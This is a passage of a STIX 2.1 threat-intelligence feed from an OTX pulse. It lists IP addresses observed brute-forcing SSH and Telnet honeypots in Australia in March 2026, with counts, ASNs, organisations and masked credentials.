      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc.. Usernames observed (masked): G************1, U**************************************************************************************************************6. Passwords observed (masked): A**********, H**********************3.",
      "id": "indicator--e7504330-b5d6-4e44-9dd8-36caa7c5a215",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T21:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '3.131.220.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T21:15:08.000Z",
      "valid_until": "2026-04-04T21:15:05.000Z"
    },
    {
      "created": "2026-03-03T21:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 132116. Organisation(s): Ani Network Pvt Ltd.",
      "id": "indicator--1d867c27-670b-4838-85a6-95804199e21a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T21:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.120.161.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T21:15:08.000Z",
      "valid_until": "2026-04-04T21:15:05.000Z"
    },
    {
      "created": "2026-03-03T21:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 336. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IE. ASN(s): 5607. Organisation(s): Sky UK Limited. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, !******r, 1******2, 1***4.",
      "id": "indicator--03dc2085-f688-4f74-87fd-7e44b5eb103f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T21:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '51.199.163.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T21:15:08.000Z",
      "valid_until": "2026-04-04T21:15:05.000Z"
    },
    {
      "created": "2026-03-03T21:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 80. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: EE. ASN(s): 3249. Organisation(s): Telia Eesti AS. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, B********3, D******6, R******3.",
      "id": "indicator--1ed6159c-7f9d-4e22-9abe-d86fea443c1a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T21:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '84.50.142.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T21:15:08.000Z",
      "valid_until": "2026-04-04T21:15:05.000Z"
    },
    {
      "created": "2026-03-03T22:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 206. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, !*******6, !*******., 0******1.",
      "id": "indicator--a1511aef-ccc0-45b3-a0d9-a8fdc391649e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T22:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.183.74.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T22:15:03.000Z",
      "valid_until": "2026-04-04T22:15:01.000Z"
    },
    {
      "created": "2026-03-03T22:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 46. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--d5e8aac9-00b6-448a-97bf-0e4ff216f82e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T22:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '112.252.172.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T22:15:03.000Z",
      "valid_until": "2026-04-04T22:15:01.000Z"
    },
    {
      "created": "2026-03-03T22:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED.",
      "id": "indicator--d2a471c0-decf-4509-87bd-a4eed4366252",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T22:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '118.193.39.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T22:15:03.000Z",
      "valid_until": "2026-04-04T22:15:01.000Z"
    },
    {
      "created": "2026-03-03T22:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 46. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: US. ASN(s): 202412. Organisation(s): Omegatech LTD. Usernames observed (masked): r**t, ***, o******r, s***d, u**r. Passwords observed (masked): 1****2, N**********1, P******d, a***n, **.",
      "id": "indicator--6aad7abd-6780-4101-829f-107fd9e238bb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T22:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '130.12.180.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T22:15:03.000Z",
      "valid_until": "2026-04-04T22:15:01.000Z"
    },
    {
      "created": "2026-03-03T22:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t. Passwords observed (masked): r**********4.",
      "id": "indicator--50452a9e-cee1-454f-b98e-0cde91c974e6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T22:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '158.69.207.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T22:15:03.000Z",
      "valid_until": "2026-04-04T22:15:01.000Z"
    },
    {
      "created": "2026-03-03T22:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 206. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PE. ASN(s): 263189. Organisation(s): GLG PERU SAC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1**********e, A******3, A********4.",
      "id": "indicator--8a826fde-a9f9-49e0-99d9-937757daed9e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T22:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '179.43.97.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T22:15:03.000Z",
      "valid_until": "2026-04-04T22:15:01.000Z"
    },
    {
      "created": "2026-03-03T22:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MO. ASN(s): 4609. Organisation(s): Companhia de Telecomunicacoes de Macau SARL. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !*******6, !*******., 0******1, 1******r, 1*********p.",
      "id": "indicator--680b6a9a-4792-4872-b888-5c51c853a2a8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T22:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '182.93.50.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T22:15:03.000Z",
      "valid_until": "2026-04-04T22:15:01.000Z"
    },
    {
      "created": "2026-03-03T22:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 48090. Organisation(s): Techoff Srv Limited.",
      "id": "indicator--cb113ad2-cac5-47a6-8267-3183a420e07d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T22:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.148.10.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T22:15:03.000Z",
      "valid_until": "2026-04-04T22:15:01.000Z"
    },
    {
      "created": "2026-03-03T22:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 276. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PL. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 0*******0, 1*******@, B********3.",
      "id": "indicator--2668b46b-5a36-4471-a1bd-309f0db889fd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T22:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '57.128.212.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T22:15:03.000Z",
      "valid_until": "2026-04-04T22:15:01.000Z"
    },
    {
      "created": "2026-03-03T23:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--0ee4c896-6167-4e9d-8217-71f068b38751",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '112.74.38.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T23:15:13.000Z",
      "valid_until": "2026-04-04T23:15:12.000Z"
    },
    {
      "created": "2026-03-03T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 41. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 133774. Organisation(s): Fuzhou. Usernames observed (masked): r**t. Passwords observed (masked): 1**********C, a***a.",
      "id": "indicator--8f25946a-1654-4a75-9862-d46bd01a440b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '121.204.171.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T23:15:13.000Z",
      "valid_until": "2026-04-04T23:15:12.000Z"
    },
    {
      "created": "2026-03-03T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): r**t. Passwords observed (masked): W*********3.",
      "id": "indicator--4f7313a2-2ba1-45c5-a546-e2673c1d86d2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.103.178.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T23:15:13.000Z",
      "valid_until": "2026-04-04T23:15:12.000Z"
    },
    {
      "created": "2026-03-03T23:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 4685. Organisation(s): Asahi Net.",
      "id": "indicator--8b7def98-c081-4da1-9e2e-9360e12bd673",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.3.203.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T23:15:13.000Z",
      "valid_until": "2026-04-04T23:15:12.000Z"
    },
    {
      "created": "2026-03-03T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: US. ASN(s): 46606. Organisation(s): Unified Layer. Usernames observed (masked): p********r@bardengineering.com. Passwords observed (masked): b*************g.",
      "id": "indicator--7946f9be-1cc1-4d90-81e4-4a55e3b14f44",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '162.240.148.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T23:15:13.000Z",
      "valid_until": "2026-04-04T23:15:12.000Z"
    },
    {
      "created": "2026-03-03T23:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MT. ASN(s): 15735. Organisation(s): GO p.l.c..",
      "id": "indicator--5e2eac51-672c-4622-b530-c497a6053661",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '195.158.108.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T23:15:13.000Z",
      "valid_until": "2026-04-04T23:15:12.000Z"
    },
    {
      "created": "2026-03-03T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--6075b5ca-762d-40ac-b862-3045d87e08c1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T23:15:13.000Z",
      "valid_until": "2026-04-04T23:15:12.000Z"
    },
    {
      "created": "2026-03-03T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: SC. ASN(s): 210006. Organisation(s): Shereverov Marat Ahmedovich.",
      "id": "indicator--a5374ba4-0c5a-44de-a954-46d103a10583",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.87.249.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T23:15:13.000Z",
      "valid_until": "2026-04-04T23:15:12.000Z"
    },
    {
      "created": "2026-03-03T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--f629b261-e8d1-4b93-985a-be3e2ea94a14",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '47.93.97.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T23:15:13.000Z",
      "valid_until": "2026-04-04T23:15:12.000Z"
    },
    {
      "created": "2026-03-03T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 45820. Organisation(s): Tata Teleservices ISP AS. Usernames observed (masked): r**t. Passwords observed (masked): A********., a******2.",
      "id": "indicator--18add57e-cfb9-40e8-b9c6-b13262dbcb24",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '49.249.44.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T23:15:13.000Z",
      "valid_until": "2026-04-04T23:15:12.000Z"
    },
    {
      "created": "2026-03-03T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 36. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 1257. Organisation(s): Tele2 SWIPnet. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, a***n, r**t.",
      "id": "indicator--b0310487-b90d-4d2e-8174-da76c9219470",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '77.218.53.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T23:15:13.000Z",
      "valid_until": "2026-04-04T23:15:12.000Z"
    },
    {
      "created": "2026-03-03T23:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
      "id": "indicator--a783816c-e030-48a3-b395-3b016d6ff119",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '90.188.29.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T23:15:13.000Z",
      "valid_until": "2026-04-04T23:15:12.000Z"
    },
    {
      "created": "2026-03-04T00:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t. Passwords observed (masked): r*******4.",
      "id": "indicator--478680a3-0a16-47e5-ba45-c75633bb8c63",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T00:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.36.107.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T00:15:07.000Z",
      "valid_until": "2026-04-05T00:15:05.000Z"
    },
    {
      "created": "2026-03-04T00:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 58461. Organisation(s): CT-HangZhou-IDC.",
      "id": "indicator--7c627d8b-054d-40ae-956c-843a8e92ed5a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T00:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '115.231.78.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T00:15:07.000Z",
      "valid_until": "2026-04-05T00:15:05.000Z"
    },
    {
      "created": "2026-03-04T00:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 346. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*******., 1****7, B********3.",
      "id": "indicator--5773ffca-2fbf-4f05-a753-52b16ed52f9d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T00:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '123.58.213.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T00:15:07.000Z",
      "valid_until": "2026-04-05T00:15:05.000Z"
    },
    {
      "created": "2026-03-04T00:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 276. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 278. Organisation(s): Universidad Nacional Autonoma de Mexico. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*******., 1****7, B********3.",
      "id": "indicator--3b3f1779-ba36-4a8e-a876-2588007ba9fb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T00:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '132.248.170.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T00:15:07.000Z",
      "valid_until": "2026-04-05T00:15:05.000Z"
    },
    {
      "created": "2026-03-04T00:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 182. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*******., C********5, J******6.",
      "id": "indicator--463d2411-f431-41c9-ade1-d5c8594daec8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T00:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.71.228.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T00:15:07.000Z",
      "valid_until": "2026-04-05T00:15:05.000Z"
    },
    {
      "created": "2026-03-04T00:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 176. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AR. ASN(s): 22927. Organisation(s): Telefonica de Argentina. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*******., J******6, W*********5.",
      "id": "indicator--652070d9-0598-4f70-ab99-1d034fa920c3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T00:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '181.23.107.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T00:15:07.000Z",
      "valid_until": "2026-04-05T00:15:05.000Z"
    },
    {
      "created": "2026-03-04T00:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 206. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 28573. Organisation(s): Claro NXT Telecomunicacoes Ltda. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1****a, 1********@, 1******Z.",
      "id": "indicator--58489c7e-baf0-4ff3-b62d-0d29e1fe1f2a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T00:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '187.107.88.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T00:15:07.000Z",
      "valid_until": "2026-04-05T00:15:05.000Z"
    },
    {
      "created": "2026-03-04T00:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 206. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1****a, 1********@, 1******Z.",
      "id": "indicator--09eee1ca-b3f8-4cf8-9203-aefdb24b7547",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T00:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '190.244.24.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T00:15:07.000Z",
      "valid_until": "2026-04-05T00:15:05.000Z"
    },
    {
      "created": "2026-03-04T00:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 346. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 136907. Organisation(s): HUAWEI CLOUDS. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*******., 1****7, B********3.",
      "id": "indicator--5a983d9c-8434-4d63-bbdf-49f57c302731",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T00:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '190.92.214.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T00:15:07.000Z",
      "valid_until": "2026-04-05T00:15:05.000Z"
    },
    {
      "created": "2026-03-04T00:15:07.000Z",
